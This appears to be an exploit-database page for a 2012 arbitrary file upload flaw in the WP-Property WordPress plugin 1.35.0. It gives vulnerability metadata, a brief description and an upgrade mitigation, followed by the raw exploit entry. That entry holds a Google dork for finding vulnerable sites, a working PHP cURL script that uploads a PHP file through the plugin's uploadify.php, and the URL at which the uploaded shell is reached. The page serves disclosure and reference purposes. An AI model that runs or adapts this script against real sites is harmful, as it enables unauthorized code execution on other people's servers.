header-logo
Suggest Exploit
vendor:
WP-Property
by:
Sammy FORGIT
7,5
CVSS
HIGH
Shell Upload
434
CWE
Product Name: WP-Property
Affected Version From: 1.35.0
Affected Version To: 1.35.0
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:wordpress
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2012

WordPress Plugins – WP-Property – WordPress Powered Real Estate and Property Management Shell Upload Vulnerability

A vulnerability in the WP-Property plugin for WordPress allows an attacker to upload a malicious PHP shell to the server. This is achieved by sending a specially crafted POST request to the uploadify.php script, which is vulnerable to a directory traversal attack. The malicious PHP shell can then be accessed via a URL.

Mitigation:

Upgrade to the latest version of the WP-Property plugin.
Source

Exploit-DB raw data:

##################################################
# Description : Wordpress Plugins - WP-Property - WordPress Powered Real 
Estate and Property Management Shell Upload Vulnerability
# Version : 1.35.0
# Link : http://wordpress.org/extend/plugins/wp-property/
# Plugins : http://downloads.wordpress.org/plugin/wp-property.zip
# Date : 26-05-2012
# Google Dork : inurl:/wp-content/plugins/wp-property/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################

Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/wp-property/third-party/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
         
'folder'=>"/wordpress/wp-content/plugins/wp-property/third-party/uploadify/"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/plugins/wp-property/third-party/uploadify/lo.php

lo.php
<?php
phpinfo();
?>